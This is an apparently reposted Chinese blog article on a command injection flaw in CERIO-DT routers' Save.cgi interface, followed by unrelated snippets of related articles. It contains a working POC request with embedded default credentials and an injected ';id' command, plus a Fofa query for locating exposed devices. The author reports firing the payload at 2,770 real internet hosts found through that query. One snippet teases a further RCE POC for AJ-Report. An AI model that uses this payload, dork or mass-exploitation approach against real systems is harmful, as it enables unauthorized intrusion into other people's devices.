CERIO-DT系列路由器Save.cgi接口存在命令执行漏洞-编程知识

CERIO-DT系列路由器Save.cgi接口存在命令执行漏洞

news/2024/11/17 15:31:11/文章来源:https://www.cnblogs.com/LeouMaster/p/18200106

漏洞描述：

由于未经过过滤和适当限制的情况下，传入的参数直接用于构建并执行系统命令，攻击者通过将恶意命令注入到"Save.cgi"接口的请求参数中可以执行任意命令。

Fofa:

title="DT-100G-N" || title="DT-300N" || title="DT-100G" || title="AMR-3204G" || title="WMR-200N"

POC:

POST /cgi-bin/Save.cgi?cgi=PING HTTP/1.1
Host: 
Authorization: Basic b3BlcmF0b3I6MTIzNA==
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 33pid=2061&ip=127.0.0.1;id&times=1

漏洞复现

在fofa中搜索资产，共有2770条数据匹配

将匹配数据进行导出整理，使用burp抓包构造数据包，对Host进行爆破

所有的ip均可以执行id命令，该漏洞的描述是可以执行任意命令，尝试执行whoami，ls，set，echo…等命令，返回均为执行id命令的内容

尝试对命令进行编码或使用其他命令分隔符，也使用了完整路径的方式，但依旧无法注入

所有尝试修改的命令返回的都是执行'id'命令，很可能后台处理脚本对输入进行了严格的过滤或者特定的解析，只允许执行预定义的某些命令，或者在监测到师徒执行其他命令时默认执行'id'

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/708644.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

H2 数据库介绍(2)--使用

本文主要介绍 H2 的基本使用，文中所使用到的软件版本：Java 1.8.0_341、H2 2.2.224、PostgreSQL 驱动 42.5.5。 1、嵌入式(本地)模式直接使用 JDBC 连接数据库即可，如果数据库不存在会自动创建。 1.1、持久数据库@Test public void localFile() throws SQLException {String…

工具下载地址 https://github.com/f0ng/captcha-killer-modified 该工具下的验证码识别python脚本要求python环境小于3.10.0 安装验证码识别python脚本引用的库 pip install -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com ddddocr aiohttp 加载…

整理C语言预处理过程语法的实用方法与技巧

预处理目录预处理一、宏定义数值宏常量字符串宏常量用define宏定义注释符号？程序的编译过程预处理中宏替换和去注释谁先谁后?如何写一个不会出现问题的宏函数do-while-zero结构do-while-zero的评价宏定义中的空格宏只能在main函数上面定义吗?宏的作用范围#undef宏替换是在函…

如何把多个文件（夹）平均复制到多个文件夹中

首先，需要用到的这个工具：度娘网盘提取码：qwu2 蓝奏云提取码：2r1z 假定的情况是，共有20个兔兔的图片，想要平均的复制4个文件夹里，那么每个文件夹里面就有5个图片（如果是5个，那每个自然是4个，具体除数是多少，根据实际情况即可）打开工具，切换到文件批量复制版块…

任意文件上传漏洞详解

当文件上传接口可以上传任意文件，但是不解析，文件上传后的路径可控。这种情况下有两种方法1、上传.htaccess和.user.ini配置文件。2、当知道网站根路径的情况下，可以上传到其他目录下。3、当不知道网站根路径的情况下，可以通过上传计划任务的方式实现命令执行。文件上传漏…

ray tracing in one weekend - 5

dielectric 水、玻璃、钻石等透明材料都是电介质。当光线照射到它们身上时，它会分裂成反射光线和折射(透射)光线。我们将通过在反射和折射之间随机选择来处理这个问题，每次相互作用只产生一个散射射线。折射程度：是根据两个介质折射率的差值决定的。 Refraction Snells L…

如何把多个文件（夹）随机复制到多个文件夹中

首先，需要用到的这个工具：度娘网盘提取码：qwu2 蓝奏云提取码：2r1z 先看文件的情况一共20个兔兔的图片，4个文件夹，把全部的图片随机的复制这些地方去打开工具，切换到文件批量复制版块找到右下角的设置，点击打开勾选“随机复制”，把文件进行随机的复制选中全部的兔…

php 异步并行后续--兼容FPM使用的组件

上次给人推荐了这篇文章,关于PHP异步并行的文章,之后有人评论问这个组件能不能给fpm用,我测试了一下发现不行,于是又找到一个可以给fpm用的http请求组件. 安装很简单,就这样 composer require guzzlehttp/guzzle 进行安装一下. 然后代码示例如下: 我们先建一个文件作为一个长时…

DeepSparse: 通过剪枝和稀疏预训练，在不损失精度的情况下减少70%的模型大小，提升三倍速度

这篇论文提出了一种高稀疏性基础大型语言模型（LLMs）的新方法，通过有效的预训练和部署，实现了模型在保持高准确度的同时，显著提升了处理速度。https://avoid.overfit.cn/post/06961c02a12b48a6a3e1436b527fd2b7

从开发到部署，搭建离线私有大模型知识库

背景介绍最近一段时间搭建了一套完整的私有大模型知识库，目前完整的服务已经完成测试部署上线。基本之前的实践过程，从工程角度整理技术方案以及中间碰到的一些问题，方便后续对这个方向有需求的研发同学们。为什么做离线私有化部署在大模型火热起来之后，很多企业都有尝试…

自媒体基础

自媒体：个人或者个人组织进行专业化，持续化的内容创作，并以此为盈利的方式做自媒体的原因：盈利，个人品牌打造，进行企业品牌宣传自媒体盈利： 1.平台分成

AJ-Report开源数据大屏存在远程命令执行漏洞

漏洞描述：该平台可以通过post方式在validationRules参数对应值中进行命令执行，可以获得服务器权限，登陆管理后台接管大屏。如果被不法分子利用，书写反动标语，危害后果十分严重 Fofa: title="AJ-Report"POC: POST /dataSetParam/verification;swagger-ui/ HTTP/…